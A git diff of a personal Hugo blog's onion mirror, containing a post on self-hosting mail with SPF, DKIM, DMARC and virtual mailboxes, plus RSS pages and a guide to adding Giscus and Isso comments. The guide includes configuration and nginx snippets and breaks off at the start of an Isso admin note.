    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/roundcube/page/1/index.html b/public-onion/tags/roundcube/page/1/index.html new file mode 100644 index 0000000..d916655 --- /dev/null +++ b/public-onion/tags/roundcube/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/roundcube/ + + + + + + diff --git a/public-onion/tags/rss/index.html b/public-onion/tags/rss/index.html new file mode 100644 index 0000000..2fbcd9d --- /dev/null +++ b/public-onion/tags/rss/index.html @@ -0,0 +1,356 @@ + + + + + + + +Rss | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW) +

    +
    +
    +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site. +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did. +I’ve been wanting to add comment section to my blog for a while. There are a few problems. +I don’t want to get attacked by bots or random people for no reason. I don’t want to allow weird things to happen. I don’t want to have a database for it. So… I decided to take a path which is not necesserially the best. It requires a third party to act on your behalf, but it is not as scary as it sounds. According to Github: +...

    +
    +
    October 23, 2025 · 15 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/rss/index.xml b/public-onion/tags/rss/index.xml new file mode 100644 index 0000000..9f39a95 --- /dev/null +++ b/public-onion/tags/rss/index.xml @@ -0,0 +1,640 @@ + + + + Rss on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/rss/ + Recent content in Rss on AlipourIm journeys + Hugo -- 0.146.0 + en + Thu, 23 Oct 2025 19:31:12 +0200 + + + New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/comments-rss-papermod/ + Thu, 23 Oct 2025 19:31:12 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/comments-rss-papermod/ + A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod. + +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.
    +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.

    +
    +

    I’ve been wanting to add comment section to my blog for a while. +There are a few problems.

    +
      +
    • I don’t want to get attacked by bots or random people for no reason.
    • +
    • I don’t want to allow weird things to happen.
    • +
    • I don’t want to have a database for it.
    • +
    +

    So… I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github:

    +
    +

    What the app can do +The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.

    +
    +

    What “Act on your behalf” means +That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.

    +
    +

    Do commenters have alternatives? +Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.

    +
    +

    Privacy & storage +No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.

    +

    With the notice out of the way let’s dive right in!

    +
    +

    Why I chose Giscus (instead of Disqus)

    +
      +
    • No ads or trackers (my page weight thanks me).
    • +
    • Uses GitHub Discussions (portable, transparent, easy to search).
    • +
    • Readers log in with GitHub (no mystery auth popups).
    • +
    • In theory you can directly go to the repo’s discussion section and comment there!
    • +
    +
    +

    What you need (for your site, not per user)

    +
      +
    • A Hugo site using PaperMod
    • +
    • A GitHub account ✅
    • +
    • A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅
    • +
    • Giscus app installed on that repo ✅
    • +
    +

    If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.

    +
    +

    1) Turn on comments with Giscus

    +

    PaperMod renders a comments.html partial when params.comments = true.
    +So we enable it in config and create the partial.

    +

    1.1 Enable comments globally

    +

    hugo.toml (snippet)

    +
    [params]
    +  comments = true
    +

    You can still opt out per post with comments = false in front matter.

    +

    1.2 Create the comments partial

    +

    Create this file in your site (not inside the theme):

    +
    layouts/partials/comments.html
    +

    Paste the Giscus embed (swap the placeholders with yours from giscus.app):

    +
    <section id="comments" class="giscus">
    +  <script
    +    src="https://giscus.app/client.js"
    +    data-repo="yourname/blog-comments"
    +    data-repo-id="YOUR_REPO_ID"
    +    data-category="Comments"
    +    data-category-id="YOUR_CATEGORY_ID" <!-- Get them from Giscus's page! -->
    +    data-mapping="pathname"
    +    data-strict="0"
    +    data-reactions-enabled="1"
    +    data-emit-metadata="0"
    +    data-input-position="bottom"
    +    data-theme="preferred_color_scheme"
    +    data-lang="en"
    +    data-loading="lazy"
    +    crossorigin="anonymous"
    +    async>
    +  </script>
    +  <noscript>Enable JavaScript to view comments powered by Giscus.</noscript>
    +</section>
    +

    Notes

    +
      +
    • You’ll get repo-id and category-id from giscus.app after picking your repo + category.
    • +
    • data-mapping="pathname" works great for static sites.
    • +
    • Prefer a public repo so visitors can read discussions without friction.
    • +
    • Want a different language? Change data-lang (e.g., de, fr).
    • +
    +
    +

    2) Enable RSS (home + sections)

    +

    Hugo already knows how to generate feeds; we just tell it where.

    +

    hugo.toml

    +
    baseURL = "https://example.com/"  # set your production URL
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]     # JSON is optional (e.g., for on-site search)
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1   # -1 = no cap; or set e.g. 20
    +

    Feed URLs

    +
      +
    • Home feed: /index.xmlhttps://example.com/index.xml
    • +
    • Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase)
    • +
    +
    +

    If you’re using a .onion address or staging domain, just set that in baseURL.
    +Locally, Hugo serves feeds at http://localhost:1313/index.xml.

    +
    +

    3) Show an RSS button on the home page

    +

    PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:

    +

    Option A — Use the home “social icons” row

    +

    This appears if you enable Home-Info or Profile mode:

    +
    [params.homeInfoParams]
    +  Title = "Hello, internet!"
    +  Content = "Notes, experiments, and occasional rabbit holes."
    +
    +[[params.socialIcons]]
    +  name = "rss"        # lowercase matters
    +  url  = "/index.xml"
    +
    +

    Create:

    +
    layouts/partials/extend_footer.html
    +

    Paste:

    +
    <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS" class="rss-link">
    +  {{ partial "svg.html" (dict "name" "rss") }}
    +  <span>RSS</span>
    +</a>
    +

    Make it a sensible size:

    +

    Create:

    +
    assets/css/extended/rss.css
    +

    Paste:

    +
    /* Small & aligned RSS icon in the footer */
    +.rss-link { display: inline-flex; align-items: center; gap: .35rem; }
    +.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/
    +.rss-link span { font-size: .95rem; }
    +

    PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.

    +
    +

    4) Verify everything

    +

    Build or run dev:

    +
    hugo           # outputs to ./public
    +# or
    +hugo server    # serves at http://localhost:1313
    +

    Check feeds:

    +
    # Home feed:
    +curl -s http://localhost:1313/index.xml | head
    +
    +# A section feed (adjust path to your section name):
    +curl -s http://localhost:1313/posts/index.xml | head
    +

    Check comments:

    +
      +
    1. Open any post locally.
    2. +
    3. Scroll to the bottom — Giscus should appear.
    4. +
    5. Try a reaction or comment (you’ll be prompted to sign in with GitHub).
    6. +
    +
    +

    5) Per-post controls (handy later)

    +

    Turn comments off for a single post:

    +
    # in that post’s front matter
    +comments = false
    +

    Full content in RSS (global):

    +
    [params]
    +  ShowFullTextinRSS = true
    +

    Show RSS buttons on section/taxonomy lists:

    +
    [params]
    +  ShowRssButtonInSectionTermList = true
    +

    +

    6) Troubleshooting (aka “what I bumped into”)

    +
      +
    • +

      Home page has no RSS icon
      +That’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.

      +
    • +
    • +

      Section feed 404
      +Folder names are lowercase (content/posts/, not content/Posts/).
      +The URL mirrors that: /posts/index.xml.

      +
    • +
    • +

      Giscus doesn’t create a discussion
      +Double-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.
      +Make sure Discussions is enabled and the Giscus app is installed for the repo.

      +
    • +
    • +

      Icon is comically large
      +Keep the CSS above; 16–20px usually looks right.

      +
    • +
    +
    +

    7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)

    +
    # Create the public comments repo (adjust names)
    +gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm
    +
    +# Enable Discussions for it
    +gh repo edit yourname/blog-comments --enable-discussions
    +

    Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.

    +
    +

    Final config snapshot (condensed)

    +
    baseURL = "https://example.com/"
    +theme = "PaperMod"
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1
    +
    +[params]
    +  comments = true
    +  ShowRssButtonInSectionTermList = true
    +  ShowFullTextinRSS = true
    +
    +# Optional if using Home-Info/Profile mode:
    +# [[params.socialIcons]]
    +#   name = "rss"
    +#   url  = "/index.xml"
    +

    +

    Appendix — Why I added Isso, how I wired it, and what I fixed

    +

    The story (why Isso + why I still keep Giscus)

    +

    I wanted comments that:

    +
      +
    • allow anonymous replies (no GitHub account required),
    • +
    • are lightweight and self-hosted, and
    • +
    • can work on my Tor .onion mirror.
    • +
    +

    Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.

    +

    Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).

    +

    How I run it (high-level)

    +
      +
    • Site: Hugo + PaperMod
    • +
    • Isso: listening on 127.0.0.1:8080, stored locally (SQLite)
    • +
    • Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost
    • +
    • Hugo partial: renders the two panels (Isso & Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme
    • +
    +
    +

    I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.

    +

    Hugo partial: switcher + embeds

    +

    Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial "comments.html" . }}.

    +
    <!-- comments.html -->
    +<div class="comments-switch" style="display:flex;gap:.5rem;margin:.5rem 0 1rem;">
    +  <button id="btn-isso" type="button" aria-pressed="true">Anonymous (Isso)</button>
    +  <button id="btn-giscus" type="button" aria-pressed="false">GitHub (Giscus)</button>
    +  <a href="https://github.com/AlipourIm/blog-comments/discussions/categories/comments" target="_blank" rel="noopener">Open on GitHub ↗</a>
    +</div>
    +
    +<!-- Isso panel (default) -->
    +<div id="panel-isso">
    +  <section id="isso-thread"></section>
    +  <script
    +    src="/isso/js/embed.min.js"
    +    data-isso="/isso"
    +    data-isso-css="true"
    +    data-isso-lang="en"
    +    data-isso-max-comments-nested="5"
    +    data-isso-sorting="newest"
    +    async>
    +  </script>
    +  <small class="isso-powered" style="display:block;margin:.5rem 0;color:var(--secondary,#888)">
    +    Comments powered by <a href="https://isso-comments.de" target="_blank" rel="noopener">Isso</a>
    +  </small>
    +</div>
    +
    +<!-- Giscus panel (lazy-loaded on click) -->
    +<div id="panel-giscus" style="display:none">
    +  <section id="giscus-thread"></section>
    +</div>
    +
    +<script>
    +(function () {
    +  const panelIsso = document.getElementById('panel-isso');
    +  const panelGisc = document.getElementById('panel-giscus');
    +  const issoBtn = document.getElementById('btn-isso');
    +  const giscBtn = document.getElementById('btn-giscus');
    +  let gLoaded = false;
    +
    +  function isDark() {
    +    // 1) explicit PaperMod preference
    +    const pref = localStorage.getItem('pref-theme');
    +    if (pref === 'dark')  return true;
    +    if (pref === 'light') return false;
    +
    +    // 2) page state (classes / data-theme)
    +    const H = document.documentElement, B = document.body;
    +    const hasDark =
    +      H.classList.contains('dark') || B.classList.contains('dark') ||
    +      H.dataset.theme === 'dark'    || B.dataset.theme === 'dark' ||
    +      H.classList.contains('theme-dark') || B.classList.contains('theme-dark');
    +    if (hasDark) return true;
    +
    +    // 3) OS preference
    +    return window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
    +  }
    +  const gTheme = () => (isDark() ? 'dark_dimmed' : 'noborder_light');
    +
    +  function loadGiscus() {
    +    if (gLoaded) return;
    +    const s = document.createElement('script');
    +    s.src = 'https://giscus.app/client.js';
    +    s.async = true;
    +    s.crossOrigin = 'anonymous';
    +    s.setAttribute('data-repo','AlipourIm/blog-comments');
    +    s.setAttribute('data-repo-id','R_kgDOQGARyA');
    +    s.setAttribute('data-category','Comments');
    +    s.setAttribute('data-category-id','DIC_kwDOQGARyM4Cw3x-');
    +    s.setAttribute('data-mapping','pathname');
    +    s.setAttribute('data-strict','0');
    +    s.setAttribute('data-reactions-enabled','1');
    +    s.setAttribute('data-emit-metadata','0');
    +    s.setAttribute('data-input-position','bottom');
    +    s.setAttribute('data-lang','en');
    +    s.setAttribute('data-theme', gTheme());  // initial theme
    +    document.getElementById('giscus-thread').appendChild(s);
    +
    +    // Retheme once iframe exists
    +    const reTheme = () => {
    +      const iframe = document.querySelector('iframe.giscus-frame');
    +      if (!iframe) return;
    +      iframe.contentWindow?.postMessage(
    +        { giscus: { setConfig: { theme: gTheme() } } },
    +        'https://giscus.app'
    +      );
    +    };
    +
    +    // PaperMod toggle button
    +    document.getElementById('theme-toggle')?.addEventListener('click', () =>
    +      setTimeout(reTheme, 0)
    +    );
    +
    +    // Also react to attribute changes
    +    const mo = new MutationObserver(reTheme);
    +    mo.observe(document.documentElement, { attributes: true, attributeFilter: ['class','data-theme'] });
    +    mo.observe(document.body,             { attributes: true, attributeFilter: ['class','data-theme'] });
    +
    +    gLoaded = true;
    +  }
    +
    +  function show(which) {
    +    const showIsso = which === 'isso';
    +    panelIsso.style.display = showIsso ? 'block' : 'none';
    +    panelGisc.style.display = showIsso ? 'none'  : 'block';
    +    issoBtn?.setAttribute('aria-pressed', showIsso);
    +    giscBtn?.setAttribute('aria-pressed', !showIsso);
    +    if (!showIsso) loadGiscus();
    +  }
    +
    +  issoBtn?.addEventListener('click', e => { e.preventDefault(); show('isso'); });
    +  giscBtn?.addEventListener('click', e => { e.preventDefault(); show('giscus'); });
    +
    +  // default
    +  show('isso');
    +})();
    +</script>
    +

    Nginx: proxy Isso on both sites (and avoid the 404-onion trap)

    +

    The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.

    +

    Fix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.

    +
    # /etc/nginx/sites-enabled/onion-blog  (same idea for the clearnet vhost)
    +server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost;
    +
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +
    +    # /isso -> /isso/
    +    location = /isso { return 301 /isso/; }
    +
    +    # IMPORTANT: this must beat regex locations below
    +    location ^~ /isso/ {
    +        proxy_pass http://127.0.0.1:8080/;    # Isso container/port
    +        proxy_http_version 1.1;
    +        proxy_set_header Host $host;
    +        proxy_set_header X-Forwarded-Host $host;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +        proxy_redirect off;
    +        proxy_read_timeout 60s;
    +    }
    +
    +    # static
    +    location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Reload and smoke test:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -I http://<your-onion-host>/isso/js/embed.min.js   # expect 200
    +
    +

    If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso="/isso"), you don’t need CORS.

    +

    Small CSS tweaks (one color across light/dark + spacing)

    +

    I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:

    +
    /* put this in your site CSS */
    +:root { --btn-blue: #2563eb; } /* adjust to taste */
    +
    +/* Isso form buttons */
    +.isso-post-action input[type="submit"],
    +.isso-post-action input[name="preview"] {
    +  background: var(--btn-blue) !important;
    +  color: #fff !important;
    +  border: none;
    +  padding: .5rem .75rem;
    +  border-radius: .4rem;
    +  cursor: pointer;
    +}
    +
    +/* link actions under comments */
    +.isso-comment-footer a {
    +  color: var(--btn-blue) !important;
    +  margin-right: .5rem;       /* gives "edit" and "delete" some breathing room */
    +  text-decoration: none;
    +}
    +.isso-comment-footer a:hover { text-decoration: underline; }
    +
    +/* keep name/email/website stacked, slightly larger */
    +.isso-auth-section .isso-input-wrapper {
    +  display: block;
    +  margin: .35rem 0;
    +}
    +.isso-auth-section label { font-size: .95rem; }
    +.isso-auth-section input[type="text"],
    +.isso-auth-section input[type="email"],
    +.isso-auth-section input[type="url"] {
    +  width: 100%;
    +  font-size: 1rem;
    +  padding: .5rem .6rem;
    +}
    +

    What changed (the fixes I actually made)

    +
      +
    1. +

      Theme correctness for Giscus.
      +PaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:

      +
        +
      • read localStorage.pref-theme first,
      • +
      • fall back to class/data-theme, then
      • +
      • fall back to OS preference.
        +I also re-theme the Giscus iframe on every toggle via postMessage.
      • +
      +
    2. +
    3. +

      Isso over Tor.
      +On the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.

      +
    4. +
    5. +

      UI polish.

      +
        +
      • Unified button/link color across themes,
      • +
      • ensured “edit”/“delete” aren’t touching,
      • +
      • kept the author/email/website inputs stacked, and
      • +
      • left Submit/Preview styled and grouped.
      • +
      +
    6. +
    +

    Sanity check

    +
      +
    • Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload.
    • +
    • Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200.
    • +
    • Switcher buttons swap panels instantly; Giscus only loads when clicked.
    • +
    +

    8) Final notes!

    +

    I could not fully fix the style of Isso. +CSS is not easy… drat!

    +

    I don’t think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^

    +

    Admin note — Delete all Isso comments for a single post

    +

    This note is for future me: how to remove every comment tied to one post in Isso.
    +Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.

    +
    +

    TL;DR (host with SQLite)

    +
    +

    Replace the placeholders for DB and POST_URI first.

    +
    # 0) Variables — edit these two lines for your setup
    +DB="/var/lib/isso/comments.db"          # path to your Isso SQLite DB (check isso.conf: [general] dbpath)
